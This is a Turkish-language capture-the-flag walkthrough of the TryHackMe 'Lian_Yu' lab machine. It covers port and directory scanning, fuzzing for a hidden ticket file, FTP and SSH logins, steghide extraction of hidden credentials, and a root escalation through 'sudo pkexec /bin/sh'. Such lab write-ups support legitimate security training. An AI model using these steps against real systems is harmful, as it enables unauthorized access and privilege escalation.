Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Lian_Yu” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.124.146
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-08 10:06 +03
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 10:06 (0:00:00 remaining)
Nmap scan report for 10.10.124.146
Host is up (0.066s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp open http Apache httpd
111/tcp open rpcbind 2-4 (RPC #100000)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
2 — Dizin taraması yapıyorum ve “island” dizinini buluyorum.
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.124.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.146
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/08 10:07:25 Starting gobuster in directory enumeration mode
===============================================================
/island (Status: 301) [Size: 236] [--> http://10.10.124.146/island/]
3 — “island” dizinini girdiğimde kodu söyleyen bir mesajla karşılaşıyorum. Sayfa kaynağını incelemeden bakmaya çalıştığımda kod yazmıyor bunun için sayfa kaynağını inceleyerek kodu öğreniyorum. Daha sonra island dizini üzerinde dizin taraması yapıyorum.
<p>You should find a way to <b> Lian_Yu</b> as we are planed. The Code Word is: </p><h2 style="color:white"> vigilante</style></h2>
4 — Dizin taramasından sonra “2100” isimli bir dizine ulaşıyorum.
```system
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.124.146/island -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.146/island
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/08 10:11:57 Starting gobuster in directory enumeration mode
===============================================================
/2100 (Status: 301) [Size: 241] [--> http://10.10.124.146/island/2100/]
5 — “island/2100” dizinine gittiğimde sayfa kaynağını inceliyorum. “.ticket” uzantılı bir dosyadan bahsediyor. “wfuzz” aracı ile “fuzzing” işlemini yaparak dosyayı bulmaya çalışıyorum. “green_arrow.ticket” dosyasını buluyorum.
</iframe> <p>
<!-- you can avail your .ticket here but how? -->
[root:/home/alper/Desktop/TRYHACKME]# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.124.146/island/2100/FUZZ.ticket
*
*
000010444: 200 6 L 11 W 71 Ch "green_arrow"
6 — “green_arrow.ticket” dizinine gittiğimda karşıma bir hash çıkıyor. Base58 ile şifrelenmiş bu hashi online bir siteden çözüyorum.
This is just a token to get into Queen's Gambit(Ship)
*CENSORED*
7 — FTP sunucusuna girip ordaki dosyaları indiriyorum. Giriş yaptığımız “vigilante” kullanıcısının yanında “slade” adında bir kullanıcı da buluyorum.
[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.124.146
Connected to 10.10.124.146.
220 (vsFTPd 3.0.2)
Name (10.10.124.146:alper): vigilante
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||38836|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 511720 May 01 2020 Leave_me_alone.png
-rw-r--r-- 1 0 0 549924 May 05 2020 Queen's_Gambit.png
-rw-r--r-- 1 0 0 191026 May 01 2020 aa.jpg
226 Directory send OK.
ftp> mget *
*
*
ftp> cd ..
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||5459|).
150 Here comes the directory listing.
drwx------ 2 1000 1000 4096 May 01 2020 slade
drwxr-xr-x 2 1001 1001 4096 May 05 2020 vigilante
8 — FTP sunucusundan indirdiğim dosyaların formatlarını incelerken “Leave_me_alone.png” dosyasının uzantısının “png” olduğunu görüyorum fakat kontrol ettiğimde bunun bir data dosyası yazdığını görüyorum. PNG dosyasını açmaya çalıştığımda dosya formatının bozuk olduğunu söyleyen bir hata alıyorum. Dosyasının “Header” kısmının uyumsuz olabilceğini düşünüp “hexeditor” aracı ile incelemeye başlıyorum.
[root:/home/alper/Desktop/TRYHACKME]# file aa.jpg
aa.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1200x1600, components 3
[root:/home/alper/Desktop/TRYHACKME]# file Leave_me_alone.png
Leave_me_alone.png: data
[root:/home/alper/Desktop/TRYHACKME]# file Queen\'s_Gambit.png
Queen's_Gambit.png: PNG image data, 1280 x 720, 8-bit/color RGBA, non-interlaced
9 — “hexeditor” aracını kullanarak ilk 8 biti “89 50 4E 47 00 00 00 0D” şeklinde değiştiriyorum. Daha sonra fotoğrafı açtığımda bana bir parola söylüyor.
[root:/home/alper/Desktop/TRYHACKME]# hexeditor Leave_me_alone.png
[root:/home/alper/Desktop/TRYHACKME]# open Leave_me_alone.png
10 — “steghide” ile dosyaların içerisinde saklanmış dosya arıyorum. “aa.jpg” dosyasında bir parola soruyolar. “Leave_me_alone.png” isimli fotoğrafta söylenen parolayı giriyorum. Resmin içine gizlenin zip dosyasını dışarı çıkartıyorum. Zip dosyasının içinden de 2 adet dosya çıkıyor. Buradaki “shado” dosyasının içinde bir parola buluyorum.
[root:/home/alper/Desktop/TRYHACKME]# steghide extract -sf aa.jpg
Enter passphrase:
wrote extracted data to "ss.zip".
[root:/home/alper/Desktop/TRYHACKME]# unzip ss.zip
Archive: ss.zip
inflating: passwd.txt
inflating: shado
[root:/home/alper/Desktop/TRYHACKME]# cat shado
*CENSORED*
[root:/home/alper/Desktop/TRYHACKME]# cat passwd.txt
11 — Bulduğum parolayı ssh servisine girmek için kullanıyorum. Girdikten sonra ilk bayrağıma ulaşıyorum.
[root:/home/alper/Desktop/TRYHACKME]# ssh slade@10.10.124.146
*
*
*
slade@LianYu:~$ ls
user.txt
slade@LianYu:~$ cat user.txt
*CENSORED*
slade@LianYu:~$
12 — “sudo -l” komutu ile sudo yetkisi ile çalıştırabileceğim komutları görüntülüyorum. “pkexec” komutunu suistimal etmek için GTFObinsden kullanmam gereken komutu öğreniyorum. Komutu girdikten sonra “root” kullanıcısına geçtiğimi görüyorum. Root dizini altından ikinci bayrağı da elde ediyorum.
slade@LianYu:~$ sudo -l
[sudo] password for slade:
Matching Defaults entries for slade on LianYu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User slade may run the following commands on LianYu:
(root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# whoami
root
# cat /root/root.txt
*CENSORED*